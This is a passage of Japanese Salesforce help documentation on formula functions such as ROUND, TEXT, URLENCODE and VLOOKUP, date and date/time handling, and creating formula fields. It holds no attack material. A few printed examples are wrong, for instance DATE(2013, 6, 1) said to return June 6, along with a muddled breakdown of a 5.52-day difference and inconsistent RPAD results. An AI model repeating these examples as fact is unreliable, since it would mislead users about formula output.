キットまたはその他の JavaScript ツールキットを参照する場合に、この関数を使
用します。

説明:

{!REQUIRESCRIPT(url)}。url に、必要なスクリプトへのリンクを指定しま
す。
AJAX ツールキットの場合:

{!requireScript("/soap/ajax/13.0/connection.js")}

使用方法:

戻り値:

<script src="/soap/ajax/13.0/connection.js"></script>

{!REQUIRESCRIPT("/soap/ajax/13.0/connection.js")}
var c = new sforce.SObject("Case");

カスタムボタンの例:

c.id = "{!Case.Id}";
c.Status = "New";
result = sforce.connection.update([c]);
window.location.reload();

この例では、ユーザがケースの詳細ページにあるカスタムボタンをクリックす
ると、ケースの [状況]を「新規」に設定します。組織で設定するには、次の属
性を持つケースのカスタムリストボタンを定義します。
• [表示の種類] は「詳細ページボタン」です。
• [動作] は「JavaScript を実行」です。
• [内容のソース] は「OnClick JavaScript」です。
次に前述の内容をカスタムボタン定義に貼り付け、その定義をケースページレ
イアウトに追加します。

ヒント: • Sコントロールの特殊な差し込み項目にアクセスするには、グローバル変数を
使用します。
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• [動作]を「JavaScript に実行」に、そして [内容のソース]を「OnClick JavaScript」
に設定したカスタムボタンまたはリンクの作成時には、スクリプトタグは
OnClick コードの外に記述する必要があるため、この関数を使います。

• この関数は、[内容のソース] を「OnClick JavaScript」に設定したカスタムボタ
ンまたはリンクにだけ使用できます。

• Visualforce を使用している場合は、代わりに INCLUDESCRIPT を使用します。

RIGHT

テキスト文字列の末尾から、指定した数の文字を返します。説明:

RIGHT(text, num_chars)。text に、返す項目または式を指定します。
num_chars に、返す文字列の最後尾からの文字数を指定します。

使用方法:

TRIM(LEFT(LastName, 5))&"-"&TRIM(RIGHT(SSN__c, 4))で、名前の最初
の 5 文字と、社会保障番号の最後の 4 文字が、ダッシュで区切られて表示されま
す。ここでは、SSN というテキストカスタム項目があると想定しています。

例:

ヒント: • 数式では自動採番項目をテキスト項目として参照します。
• num_chars の値が 0 より小さい場合は、Salesforce により、その値が 0 に置き

換えられます。

ROUND

指定した数値にもっとも近い数値を返します。新しい数値は、指定した桁数で
制限します。

説明:

ROUND(number, num_digits)。number に、値を丸める項目または式を指定
します。num_digits に、値を丸めるときに考慮する小数点以下の桁数を指定
します。

使用方法:

ROUND (1.5, 0)  = 2

ROUND (1.2345, 0)  = 1

例:

ROUND (-1.5, 0)  = -2

ROUND (225.49823, 2)  = 225.50

単純な割引
ROUND(Amount-Amount* Discount_Percent__c,2)

この数式は、商談の割引金額を 2 桁の数字に切り上げるために使用します。この
例は、[割引率] というカスタムパーセント項目を使用した商談の数値数式項目
です。

ヒント: • num_digits に 0 を入力すると、数値がもっとも近い整数に丸められます。
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• Salesforce は、指定した小数点の位置に基づいて数値を自動的に丸めます。た
とえば、小数点以下 2 桁の位置を持つカスタム数値項目であれば、1.49999 と
入力すると、1.50 が保存されます。

• Salesforce では、round half up アルゴリズムを使用します。中間値は常に四捨五
入されます。たとえば、1.45 は 1.5 に四捨五入されます。–1.45 は –1.5 に四捨五
入されます。

• 表示される小数点以下の桁数は、カスタム項目ウィザードで項目を定義する
ときに選択した小数点の位置によって異なります。num_digits は、値を丸
めるときに考慮する桁数を表します。

RPAD

テキスト文字列の右側に指定した文字を挿入します。説明:

RPAD(text, padded_length[, 'pad_string'])。次の変数を指定します。使用方法:

• text には、その後に文字を挿入する項目または式を指定します。
• pad_length には、返されるテキスト文字列の合計文字数を指定します。
• pad_string には、挿入する必要のある文字を指定します。pad_string は

省略可能であり、デフォルトでは空白になります。
text の値が pad_string よりも長い場合には、text が padded_length のサ
イズまで切り取られます。

項目名: デフォルトを挿入
RPAD(Name, 20) は、[名前] 項目の 21 文字目以降を切り捨てます。たとえ
ば、名前が mycompany.comの場合は「mycompany.com」という値が返されます。

例:

My_Company: 変更なし
RPAD('my_company.com', 14, 'z') は、「my_company.com」が 14 文字であ
るため、そのまま「my_company.com」を返し、何も変更しません。
項目名: 文字を挿入
RPAD(Name, 15, 'z') は「mycompany.comz」を返します。
項目名: 切り捨て
RPAD(Name, 2) は、3 文字目以降の名前を切り取ります。たとえば、名前が
mycompany.com の場合は「my」という値が返されます。

末尾の空白スペースは除外されます。ヒント:

SQRT

指定された数値の正の平方根を返します。説明:
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SQRT(number)。number に、平方根にする項目または式を指定します。使用方法:

SQRT(25) は、25 の平方根、つまり 5 を返します。
振幅

例:

SQRT(Amplitude__c)は、地震の振幅を表すカスタム数値項目の平方根を返し
ます。

ヒント: • 負の数の平方根を計算すると、詳細ページにエラーが表示されます。
• IF(Amplitude__c >= 0, SQRT(Amplitude__c), null) のような IF 関数

を記述して、ゼロによる除算エラーを防ぎます。

SUBSTITUTE

テキスト文字列中の元のテキストを新規のテキストで置き換えます。説明:

SUBSTITUTE(text, old_text, new_text)。text に、値の代入をする項目
か値を指定します。old_text に、置換対象となるテキストを指定します。
new_text に old_text を置換するテキストを指定します。

使用方法:

SUBSTITUTE(Name, "Coupon", "Discount")は、商談の名前に「クーポン」
という語を含む商談名を返し、「Coupon」という語があればすべて「Discount」
で置き換えます。

例:

SUBSTITUTE(Email, LEFT(Email, FIND("@", Email)), "www.") は、個
人のメールアドレスから @ マークの位置を検索し、「www」で置き換えるテキ
スト長を割り出します。この処理によって Web サイトアドレスを抽出できます。

ヒント: • 引用符で囲んだ用語は、大文字と小文字が区別されます。
• old_text が複数回出現する場合は、結果的に重複が発生することになって

も、出現するたびに new_text の値で置き換えられます。

TEXT

数式を使用するすべての場所で、パーセント、数値、日付、日付/時間、または
通貨の各項目のデータ型をテキストに変換します。また、承認ルール、承認ス

説明:

テップルール、ワークフロールール、エスカレーションルール、割り当てルー
ル、自動レスポンスルール、入力規則、数式項目、項目自動更新、およびカス
タムボタンとカスタムリンクで、選択リスト値をテキストに変換します。

TEXT(value)。valueに、テキスト形式に変換する項目または式を指定します。
この関数では、小数点 (ピリオド) またはマイナス記号 (ダッシュ) 以外の特殊文字
を使用しないでください。

使用方法:
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テキスト形式での期待収益
TEXT(ExpectedRevenue) は、商談の期待収益金額を、ドル記号を持たないテ
キスト形式で返します。たとえば、あるキャンペーンの[期待収益]が「$200,000」
の場合、この数式項目は「200000」を表示します。

例:

納入商品 ID

SerialNumber &"-"& TEXT(Quantity) は、シリアル番号で始まり、数量で
終わる納入商品 ID の数値をダッシュで区切って返します。[シリアル番号] 項目
はテキストですが、[数量] 項目は数値であるため、前に TEXT 関数が必要です。
数学的方程式での選択リスト値の使用
VALUE(LEFT(TEXT(Quantity), 5)) * Unit

この数式は、[数量]選択リストの最初の 5 つの数値に [単位]数値項目を掛けま
す。
2 つの選択リストの比較
IF(TEXT(bug_status) = TEXT(case_status), “Match”, “Out of Sync”)

この数式は、bug_status選択リストの値と case_status選択リストの値を比
較します。
親レコードからの選択リスト値の表示
TEXT(Account.Industry)

商談に関するこの数式項目は、関連付けられた取引先の業種を示します。
選択リスト値の連結
TEXT(Account.Industry) & " - " & TEXT(Account.SubIndustry__c)

商談に関するこの数式項目は、関連付けられた取引先の業種および副業種を示
します。

完了商談一覧の保存のブロック
CONTAINS(TEXT(Status), "Closed") は、Status 選択リスト値に「Closed

Won」(商談成立) や「Closed Lost」(不成立) のように「Closed」という値が含まれる

入力規則の例

場合は、TRUE を返します。この入力規則の数式は、ユーザによる完了商談一覧
への変更の保存をブロックします。
数値選択リスト値への数値関数の使用
VALUE(LEFT(TEXT(Quantity), 5)) * Unit > 10000 は、[数量] 選択リス
トの最初の 5 つの数値に [単位] 数値項目を掛け、その結果が 10,000 を超える場
合に TRUE を返します。
2 つの選択リストの直接比較
TEXT(bug_status) = TEXT(case_status) は、bug_status 選択リストの値と
case_status 選択リストの値を比較し、等しい場合に TURE を返します。
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ヒント: • 返されたテキストは、通貨、パーセント記号、カンマのいずれの形式でもあ
りません。

• 値は地域を区別しません。たとえば、24.42 ユーロは、24.42 という数値に変換
されます。

• パーセントは小数で返されます。
• 日付は YYYY-MM-DD (4 桁の年、2 桁の月、および 2 桁の日) の形式で返されま

す。
• 日付/時間の値は YYYY-MM-DD HH:MM:SSZ の形式で返されます。YYYY は 4 桁の

年、MM は 2 桁の月、DD は 2 桁の日、HH は 2 桁の時間、MM は 2 桁の分、SS は
2 桁の秒、および Z は基準子午線、つまり協定世界時で時刻が返されることを
表します。

• 選択リスト項目は、入力規則、承認ルール、承認ステップルール、ワークフ
ロールール、エスカレーションルール、割り当てルール、自動レスポンスルー
ル、数式項目、項目自動更新、およびカスタムボタンとカスタムリンクなど
の数式で使用される TEXT 関数でサポートされます。その他の数式では、選択
リスト項目を参照する場合に ISPICKVAL または CASE を使用します。

• TEXT 関数は常に、選択リスト値を現在のユーザの言語ではなく、組織のマス
タ言語で返します。

TODAY

現在の日付を日付データ型で返します。説明:

TODAY()使用方法:

TODAY()-Sample_date_c は、サンプル内に残っている日数を計算します。例:

SampleDate < TODAY()
入力規則の例:

この例は、ユーザが [サンプル抽出日] を過去の任意の日付に変更できないよう
にします。

ヒント: • 括弧を削除しないでください。
• 括弧は空白のままにしておきます。値を入れる必要はありません。
• TODAY 関数では、日付/時間項目ではなく、日付項目を使用します。[最終活動

日] が日付項目であるのに対し、[作成日] と [最終更新日] は日付/時間項目
です。

• 日付/時間項目を使用する場合は、「NOW」を参照してください。
• 日付と時刻は常にユーザの時間帯を使って計算されます。
• TODAY 関数およびその他の日付項目と一緒に加算演算子と減算演算子を使用

すると、日数を表す数値が返されます。たとえば、
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TODAY()-LastActivityDate は、最終活動日からの日数を計算します。こ
の例では、数式項目のデータ型が数値になります。

• TODAY 関数および数値と一緒に加算演算子と減算演算子を使用すると、日付
が返されます。たとえば、TODAY() +5は、今日から 5 日先の日付を計算し
ます。この例では、数式項目のデータ型が日付になります。

TRIM

テキスト文字列の先頭と末尾から、スペースとタブを削除します。説明:

TRIM(text)。textに、タブとスペースを削除する項目または式を指定します。使用方法:

TRIM(LEFT(LastName,5))& "-" & RIGHT(FirstName, 1) で、ユーザの姓
の最初の 5 文字と名の最初の文字がダッシュで区切られた値を含むネットワーク
ID が返されます。

例:

UPPER

指定したテキスト文字列内のすべての英字を大文字に変換します。英字でない
文字は、この関数の影響を受けません。地域が適用されている場合は地域ルー
ルが適用されます。

説明:

UPPER(text, [locale])。必要に応じて、text を大文字に変換する項目また
は数式と置き換え、locale は、省略可能な 2 文字の ISO 言語コードまたは 5 文
字の地域コードに置き換えます。

使用方法:

MYCOMPANY.COM

UPPER("mycompany.com") は「MYCOMPANY.COM」を返します。
例:

MYCOMPANY.COM 123

UPPER("Mycompany.com 123") は「MYCOMPANY.COM 123」を返します。
トルコ語の言語ロケールを適用
たとえば、トルコ語には「i」の文字にドットが 1 つ付くものとドットのないも
のの 2 種類があります。トルコ語の地域ルールでは、ドット付きの「i」を大文
字化し、ドットのない「I」を小文字にできる機能が必要です。トルコ語の言語
地域で UPPER()関数を正しく使用するには、UPPER()関数内でトルコ語の地域
コード tr を次のように使用します。
UPPER(text, "tr")

このようにすると、text内にドット付きの「i」があっても、ドットのない「I」
に変換しないようにできます。
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URLENCODE

RFC 3986, Uniform Resource Identifier (URI): Generic Syntax での定義に従って、URL では不正
な空白スペースなどの文字を、これらの文字を表すコードに置き換えて、URL で

説明:

使用するテキスト文字列や差し込み項目をエンコードします。たとえば、空白
スペースは %20 に置き換えられ、感嘆符は %21 に置き換えられます。

{!URLENCODE(text)}。textに、差し込み項目または符号化するテキスト文字
列を指定します。

使用方法:

差し込み項目 foo__c が <B>Mark's page<b> を含む場合、
{!URLENCODE(foo_c)} は %3CB%3EMark%27s%20page%3C%2Fb%3E のように
なります。

例:

ヒント: • この関数はカスタムボタンとカスタムリンク、およびVisualforceでのみ使用で
きます。

• URL コンテンツのソースがあるカスタムボタンとカスタムリンクには、別の
文字コード設定があります。指定した文字コード設定のあるカスタムボタン
またはカスタムリンクのエンコードに URLENCODE 関数を使用する場合、Salesforce

により最初にカスタムボタンまたはカスタムリンクの設定に従って URL がエ
ンコードされ、続いてその結果がエンコードされます。たとえば、カスタム
リンクの URL が空白を含み、その文字コード設定が UTF8 の場合、Salesforce に
より最初に空白がプラス記号 (+) にエンコードされ、続いて URLENCODE 関数に
よりプラス記号がその文字コード %2B に変換されます。

• URLENCODE 関数の商談 (Opportunity.Account) に標準の Account 項目を含
む場合、項目の値は取引先名ではなく取引先 ID です。取引先名をエンコード
するには、取引先名にまたがる商談でカスタムクロスオブジェクト数式項目
を作成し、Opportunity.Account の代わりに URLENCODE 関数でその項目を
使用します。たとえば、クロスオブジェクト数式がAccountNameFormula__c

の場合は、次のコードを使用します。
http://www.google.com/search?q={!URLENCODE
(Opportunity.AccountNameFormula__c)}

URLFOR

Visualforce ページにある静的リソースアーカイブ内のアクション、Sコントロー
ル、Visualforce ページ、またはファイルの相対 URL を返します。

説明:

{!URLFOR(target, id, [inputs], [優先指定なし])}。target に URL また
はアクション、Sコントロール、静的リソースマージ変数を指定します。idに、

使用方法:

レコードへの参照を指定します。inputsに、省略可能な追加のパラメータを指
定します。優先指定なし 引数も省略可能で、デフォルトは「False」です。これ
は、$Action.Account.New など標準の Salesforce ページへの対象に適用されます。別
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の箇所で上書きを指定したかどうかに関係なく標準の Salesforce ページを表示し
たい場合は、優先指定なし を「True」に置き換えます。
Visualforce ページにアクセスするには、「apex/」を先頭に付けてページの名前を
入力します。たとえば、Visualforce ページの名前が myTestPage の場合は、
{!URLFOR("/apex/myTestPage")} を使用します。

<apex:image url="{!URLFOR($Resource.TestZip,
'images/Bluehills.jpg')}" width="50"

height="50"/>

Visualforce の例:

この例では、<apex:image>コンポーネントが、静的リソースとしてアップロー
ドされた .zip ファイル内の .jpg ファイルを参照しています。アップロードされる
と、静的リソースの名前が TestZipと定義され、リソース内の画像へのパスは
images/Bluehills.jpg になります。

ヒント: • アクション、Sコントロール、および静的リソースの特殊な差し込み項目にア
クセスするには、グローバル変数を使用します。

• 入力パラメータ名が文字またはドル記号 ($) 以外で始まる場合は、引用符で囲
みます。

• 複数の inputs を括弧で括って、これらをまとまった指定として扱います。
{!URLFOR($Action.Case.View, Case.Id, [parm1="A", parm2="B"])}

• 優先指定なし 引数に設定したいパスがない場合は、次のように inputs 引数
に「Null」を指定します。
{!URLFOR($Action.Case.View, Case.Id, null, true)}

• 標準アクションを上書きすると、それ以降 Salesforce で使用できません。たと
えば、新規取引先アクションを上書きした場合、取引先の詳細ページ、他の
詳細ページでの取引先関連リスト、サイドバーでの [新規作成] ドロップダウ
ンリストなど、すべてのページにある [新規] ボタンに影響が出ます。標準ア
クションを上書きして、かつアクションにアクセスする場合は、そのアクショ
ンを参照する Sコントロールで 優先指定なし 引数を使用してください。

• 標準またはカスタムタブのホームページを上書きするときには、target を
"Tab" $Action グローバル変数に、id をオブジェクト種別に設定します。た
とえば、URLFOR($Action.Account.Tab, $ObjectType.Account) のよ
うに設定されます。

• この関数は、カスタムボタン、リンク、Sコントロール、およびVisualforceペー
ジでのみ使用できます。

VALUE

テキスト文字列を数値に変換します。説明:
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VALUE(text)。text に、数値に変換する項目または式を指定します。使用方法:

リード数
VALUE(Lead_Number__c) は、[リード番号] という自動採番項目にあるテキス
ト値の数値を返します。これは、計算時に [リード番号] 項目を使用する場合に

例:

有用です。自動採番項目は、実際はテキスト項目であり、数値計算を実行する
には、数値に変換する必要があります。
リードのラウンドロビン方式 (順次) 割り当て
MOD(VALUE(Lead_Number__c), 3)

この数式は、[Round_Robin_ID] という数式項目用の数式で、各リードに 0、1、ま
たは 2 を割り当てます。この数式は、[リード番号] というカスタム自動採番項
目を使用し、1 から始まる一意の番号を各リードに割り当てます。MOD 関数は、
リード数を、利用可能なリードキューの数 (この例では 3) で割り、0、1、または
2 の余りを返します。この数式項目の値をリードの割り当てルールで使用して、
リードレコードを異なるキューに割り当てます。次に例を示します。
• Round_Robin_ID = 0 は、キュー A に割り当てられます。
• Round_Robin_ID = 1 は、キュー B に割り当てられます。
• Round_Robin_ID = 2 は、キュー C に割り当てられます。

VALUE 関数内のテキストに、小数点 (ピリオド) またはマイナス記号 (ダッシュ) 以
外の特殊文字を使用しないでください。たとえば、数式VALUE(Text_field__c)

で、次の結果が生成されます。

ヒント:

• [テキスト項目] が 123 の場合、結果は 123 になります。
• [テキスト項目] が空白の場合、結果は #Error! になります。
• [テキスト項目] が $123 の場合、結果は #Error! になります。
• [テキスト項目] が EUR123 の場合、結果は #Error! になります。

VLOOKUP

Excel の VLOOKUP() 関数と同様に、カスタムオブジェクトに関連する値を検索し、
その値を返します。

説明:

VLOOKUP(field_to_return, field_on_lookup_object, lookup_value)。
field_to_return には返す値が含まれている項目を、

使用方法:

field_on_lookup_objectには一致させる値が含まれている関連オブジェクト
上の項目を、また lookup_value には一致させる値を指定します。

この例では、請求先の郵便番号の最初の 5 文字で、米国内で有効なすべての郵便
番号を格納している Zip_Code__c というカスタムオブジェクトの値を検索し、請

入力規則の例:

求先郵便番号が有効であることを確認します。郵便番号が Zip_Code__c オブジェ
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クトで見つからない場合や、都道府県 (請求先) が、Zip_Code__c オブジェクト内
の対応する State_Code__c と一致しない場合には、エラーが表示されます。
AND( LEN(BillingPostalCode) > 0, OR(BillingCountry = "USA",
BillingCountry = "US"),

VLOOKUP(
$ObjectType.Zip_Code__c.Fields.State_Code__c,
$ObjectType.Zip_Code__c.Fields.Name, LEFT(BillingPostalCode,5))
<>

BillingState )

メモ:

• この例は、請求先国が「US」または「USA」のときに使用します。
• CSV ファイル形式になった米国の郵便番号一覧は、http://zips.sourceforge.net

からダウンロードできます。

ヒント: • field_to_return のデータ型は、自動採番、積み上げ集計、参照関係、主
従関係、チェックボックス、日付、日付/時間、メール、数値、パーセント、
電話番号、テキスト、テキストエリア、または URL にする必要があります。

• field_on_lookup_objectは、カスタムオブジェクトの [レコード名]項目
にする必要があります。

• field_on_lookup_objectと lookup_valueは、同じデータ型にする必要
があります。

• 一致するレコードが複数ある場合は、最初のレコードの値が返されます。
• 返される値は、カスタムオブジェクトのものであることが必要です。
• この関数で参照されるカスタム項目またはカスタムオブジェクトは削除でき

ません。
• この関数は、入力規則でのみ使用できます。

YEAR

指定された日付の 4 桁の年を数値形式で返します。説明:

YEAR(date)。date に、返される年を含む項目または式を指定します。使用方法:

YEAR(TODAY())- YEAR(Initial_Meeting__c) で、クライアントとの初回
ミーティングからの年数が返されます。この例では、[最初のミーティング] と
いうカスタム日付項目を使用しています。

例:

関連トピック:

数式の演算子と関数 A – H

数式の演算子と関数
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数式での日付値および日付/時間値の使用

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

日時を設定して業務を進める組織では、支払期日、契約期間、その他の機能の
管理に日付数式が役立ちます。
日付には、Date と Date/Time という 2 種類のデータ型を使用します。日付を処理
する際に使用する値の大半は Date データ型で、年、月、および日を保存します。
CreatedDateなどの一部の項目は、日付値だけでなく、時間値も格納する日付/

時間項目です (GMT で保存されますが、ユーザのタイムゾーンの時刻で表示され
ます)。レポートやレコード詳細ページの日付および日付/時間項目は、ユーザの
ロケールの形式で表示されます。
日付値および日付/時間値で加算や減算などの演算を行えば、将来の日付や 2 つ
の日付の経過時間を計算できます。たとえば、一方の日付から他方の日付を減算すると、その 2 つの値の差の
日数 (Number データ型) が算出されます。2 つの日付/時間値間でこの減算を行った場合は、差が小数値で返さ
れ、日、時間、分に換算されます。
たとえば、2 つの日付/時間値の差が 5.52 の場合、2 つの値には、5 日 12 時間 (1 日の 0.5 時間) 28 分 (1 日の 0.02 分)

の差があることになります。日付および日付/時間に数値を加算することも可能です。たとえば、TODAY() +

3 という演算では、今日から 3 日後の日付が返されます。日付の処理についての詳細と用例は、「日付数式の
サンプル」のリストを参照してください。
どの例でも、実際の日付および日付/時間の項目や値の位置に date 変数と date/time 変数を使用します。
通常、複雑な日付関数は、テキストや数値の数式関数よりサイズが大きくなるため、数式のコンパイルサイズ
の問題が生じる可能性があります。この問題の対処については、「Tips for Reducing Formula Size」を参照してくだ
さい。

TODAY() および NOW()

TODAY() 関数では、現在の日、月、および年が Date データ型で返されます。この関数は、以前の日付からの
経過日数や一定の日数後の日付を確認する数式や、単に現在の日付を表示する数式で役立ちます。
NOW() 関数では、現時点の日付/時間値が返されます。この関数は、1 日の特定の時間や日付を確認する場合
に役立ちます。
日付値と日付/時間値間の変換方法についての詳細は、「日付/時間と日付間の変換」を参照してください。

DATE() 関数
DATE() 関数では、指定した年、月、および日の日付値が返されます。数字の Y/M/D 値および YEAR()、
MONTH()、DAY() 関数は、DATE() の有効なパラメータです。たとえば、DATE( 2013, 6, 1 ) では、June

6, 2013 が返されます。同様に、DATE( YEAR( TODAY() ), MONTH( TODAY() ) + 3, 1) では、現在の年の
今日から 3 か月先の月の最初の日の日付値が返されます (月が 1～12 の範囲内など、日付が有効であるものとし
ます)。
入力した Y/M/D 値が無効の日付のときは、DATE() でエラーが返されるため、日付値を処理する場合はエラー
チェックも重要です。無効な日付の処理方法は、「日付数式のサンプル」に記載されています。
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日付/時間と日付間の変換
Date データ型と Date/Time データ型は代替不能なため、日付値と日付/時間値を含む演算を行う場合は、値を変
換してデータ型を揃える必要があります。一定の関数 (YEAR()、MONTH()、DAY() など) は日付値でしか処理
できないため、最初に日付/時間値を変換する必要があります。
DATEVALUE( date/time ) 関数を使用すると、日付/時間の日付値が返されます。たとえば、日付/時間から
年を取得するには、YEAR( DATEVALUE( date/time ) ) ) を使用します。
日付値を日付/時間に変換する場合は、DATETIMEVALUE( date ) 関数を使用します。時間は、グリニッチ標
準時間 (GMT) の午前 12 時に設定され、レコードが表示される時点で表示するユーザのタイムゾーンに変換され
ます。ユーザがサンフランシスコにいる場合、DATETIMEVALUE( TODAY() ) では、当日の午前 12 時ではな
く、前日の午後 5 時 (夏時間の場合) が返されます。詳細は、「日付/時間およびタイムゾーンの留意点」を参照
してください。

日付とテキスト間の変換
日付をテキストの一部にする場合は、日付値を TEXT() 関数でラップして、テキストに変換します。たとえ
ば、今日の日付をテキストで返す場合は、次の数式を使用します。
"Today's date is " & TEXT( TODAY() )

この数式では、日付がロケール依存の形式ではなく、「YYYY-MM-DD」形式で返されます。形式を変更する場合
は、最初に日付から日、月、および年を抽出し、続いて任意の形式で再編します。次に例を示します。
"Today's date is " & TEXT( MONTH( date ) ) & "/" & TEXT( DAY( date ) ) & "/" & TEXT( YEAR(
date ) ) )

他の日付項目や数式でもこのテキストを使用できるように、文字列を日付に変換すること可能です。テキスト
を「YYYY-MM-DD」形式にする場合は、次の数式を使用して、日付値を返します。
DATEVALUE( "YYYY-MM-DD" )

日付/時間とテキスト間の変換
TEXT()関数を使用すると、文字列に日付/時間値を含めることができますが、タイムゾーンに注意する必要が
あります。たとえば、次の数式について考えてみます。
"The current date and time is " & TEXT( NOW() )

この数式では、NOW() は GMT にオフセットされます。通常、NOW() は表示される時点でユーザのタイムゾー
ンに変換されますが、この場合はテキストに変換されているため、この変換が行われません。そのため、サン
フランシスコ時間 (GMT-7) の 8 月 1 日午後 5 時にこの数式を実行すると、「現在の日時は、2013–08–02 00:00:00Z

です」と表示されます。
日付/時間をテキストに変換すると、末尾に GMT を表す「Z」が付記されます。TEXT( date/time )は、項目
が空白の場合に「Z」を返します。そのため、処理する日付/時間値が空白の可能性がある場合は、テキストを
変換する前に次の数式で確認します。
IF(
ISBLANK( date/time ),
"",
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TEXT( date/time )
)

文字列を日付/時間値に変換するには、DATETIMEVALUE() を使用して、「YYYY-MM-DD HH:MM:SS」形式の文字
列を渡します。このメソッドでは、GMT の日付/時間値が返されます。

日付/時間およびタイムゾーンの留意点
日付値および日付/時間値は GMT で格納されます。レコードを保存するときは、項目値がユーザのタイムゾー
ンから GMT に調整され、その後レコード詳細ページやレポートで表示される時点で閲覧者のタイムゾーンに
戻されます。日付に変換することで問題が生じることはありません。日付/時間から日付に変換しても日付値
は同じであるためです。
ただし、日付/時間の項目や値を処理する場合、変換は常にユーザのタイムゾーンではなく、GMT で行われま
す。標準の日付/時間項目から別の標準の日付/時間を減算する場合は、どちらの項目も同じタイムゾーンのた
め問題は生じません。他方、計算するいずれかの値が、テキストまたは日付値から日付/時間値に変換された
ものである場合には、結果が異なります。
たとえば、サンフランシスコのユーザが、カスタムの Date_Time_c という日付/時間項目に 2013 年 8 月 2 日
午前 12 時の値を入力するとします。太平洋夏時間の時差は GMT-7 のため、この値は 2013–08–02 07:00:00Z として
保存されます。8 月 1 日午後 12 時 (PDT) に、ユーザがレコードを表示して、次の数式を実行します。
Date_Time_c - NOW()

この計算では、NOW() は 2013–08–01 19:00:00Z となり、続いて 2013–08–02 07:00:00Z から減算した 0.5 (12 時間) とい
う予想どおりの結果が返されます。
ここで、NOW() の代わりに、文字列「2013–08–01 12:00:00」を日付/時間値に変換するとします。
Date_Time_c - DATETIMEVALUE( "2013-08-01 12:00:00" )

この場合、DATETIMEVALUE( “2013–08–01 12:00:00” ) は 2013–08–01 12:00:00Z で、0.79167 (19 時間) という
結果が返されます。
数式でユーザのタイムゾーンを判断する方法はありません。ユーザ全員が同じタイムゾーンにいる場合は、変
換した値に、ユーザのタイムゾーンと GMT の時差を加減算して、タイムゾーンの時差を調整できます。ただ
し、タイムゾーンに夏時間が適用されることがあり、また夏時間の開始日と終了日が毎年異なるため、この変
更を数式で管理することは困難です。日付/時間値とテキストまたは日付値間の変換が必要なトランザクショ
ンには、Apex を使用することをお勧めします。

関連トピック:

数式を作成する際のヒント
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数式項目の作成

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

ユーザ権限

数式項目の詳細を参照す
る
• 「設定・定義を参照す

る」

数式項目を作成、変更、
または削除する
• 「アプリケーションの

カスタマイズ」

カスタム数式項目には、特別な属性が必要です。

メモ: 「Getting Started with Formulas (数式の使用開始)」ヘルプ動画では、次の
手順のライブデモをご覧いただけます。

1. 最初に数式項目を作成する手順は、カスタム項目を作成する場合と同じで
す。「カスタム項目の作成」 (ページ 5374)を参照してください。

2. 数式のデータ型を選択します。計算の出力に基づいて、数式に適用するデー
タ型を選択します。「数式データ型」 (ページ 5500)を参照してください。

3. 通貨、数値、またはパーセントという各データ型を表示するときの小数点以
下の桁数を指定します。この設定は、マルチ通貨組織の通貨項目では無視さ
れます。代わりに、通貨設定の [小数点の位置] が適用されます。

メモ: Salesforce は、数式項目内の数値に対して、切り上げタイブレーク
ルールを使用します。たとえば、12.345 は 12.35 に、-12.345 は -12.34 にな
ります。

4. [次へ] をクリックします。
5. 数式の作成:

a. [高度な数式] タブで数式を作成する場合、またはワークフロー、入力規
則、割り当て、自動レスポンス、またはエスカレーションなどの承認や
ルールの数式を作成する場合は、[項目の挿入] をクリックし、項目を選択してから [挿入] をクリックし
ます。
特定の Salesforce データを渡す基本数式を作成するには、[簡単な数式] タブの [差し込み項目の種類] ド
ロップダウンリストからデータ型を選択し、[項目の挿入] ドロップダウンリスト内の項目を選択しま
す。

ヒント: クロスオブジェクト数式を作成し、そのオブジェクトの関連オブジェクトと参照差し込み
項目を展開します。

b. 演算子を挿入するには、[演算子の挿入]ドロップダウンリストから該当する演算子アイコンを選択しま
す。

c. 必要に応じて、[高度な数式]タブをクリックし、関数を使用して、追加する演算子と差し込み項目を表
示します。関数とは、あらかじめ用意されている数式のことで、入力パラメータを指定してカスタマイ
ズできます。

d. 関数を挿入するには、リストにある名前をダブルクリックするか、選択してから [選択した関数を挿入]

をクリックします。関数のリストを検索するには、[関数] ドロップダウンリストからカテゴリを選択
します。関数を選択後[この関数に関するヘルプ]をクリックして、その関数を使った数式の例や説明を
参照します。

e. 数式にコメントを追加します。特に数式が複雑な場合に役立ちます。コメントは、スラッシュの次にア
スタリスク (/*) を付けて始め、アスタリスクの次にスラッシュ (*/) を付けて終わる必要があります。
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コメントは、数式の定義を参照する人に対し、数式の特定の部分について説明する場合に便利です。例:

AND(
/*competitor field is required, check to see if field is empty */
LEN(Competitor__c) = 0,
/* rule only enforced for ABCD record types */
RecordType.Name = "ABCD Value",
/* checking for any closed status, allows for additional closed picklist values in
the future */
CONTAINS(TEXT(StageName), "Closed")
)

また、数式内のエラーを特定するために構文をデバッグおよびチェックするときに、コメントを使用し
て数式を部分的にコメントアウトすることもできます。

メモ:

• コメントをネストすると構文エラーの原因となります。たとえば、次のような数式は保存でき
ません。
/* /* comment */ */

• 数式全体をコメントアウトすると構文エラーの原因となります。
• コメントは、数式の文字およびバイトサイズ制限の対象になります。

メモ: 数式項目には、スペース、改行文字、コメントを含む最大 3,900 文字を含めることができます。
数式にこれを上回る数の文字が必要な場合は、個別に数式項目を作成し、他の数式項目でそれらの項
目を参照してください。数式の評価後に表示される最大文字数は、1,300です。

6. [構文を確認] をクリックして、数式にエラーがないか確認します。
7. 必要に応じて、[説明] ボックスにその数式の説明を入力します。
8. 数式が数値、通貨、またはパーセント項目を参照している場合は、空白の項目を処理する場合のオプショ

ンを選択します。空白の項目に 0 を入れる場合は、[空白の項目を 0 として処理]を選択します。この項目
を空白のままにしておく場合は、[空白項目を空白として処理] を選択します。

9. [次へ] をクリックします。
10. 項目レベルのセキュリティを設定して、特定のプロファイルに対してその項目をアクセス可能にするかを

決定し、[次へ] をクリックします。
11. 項目を表示するページレイアウトを選択します。ページレイアウトの 2 列のセクションのうち、最上部に

設定されているセクション内の最後の項目として追加されます。ユーザカスタム項目の場合、ユーザ詳細
ページの一番下に自動的に追加されます。

12. [保存] をクリックして終了するか、[保存 & 新規] をクリックして別の新規カスタム項目を作成します。

メモ: 数式項目は自動的に計算されるため、レコード詳細ページでは読み取り専用となり、最終更新日の
項目は更新されません。数式項目は、編集ページには表示されません。
取引先数式では、法人取引先のすべての項目が差し込み項目として使用できます。ただし、[誕生日] や
[メール] など、個人取引先専用の取引先項目は使用できません。
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数式を作成する際のヒント
クロスオブジェクト数式項目とは?

関連トピック:

数式の要素
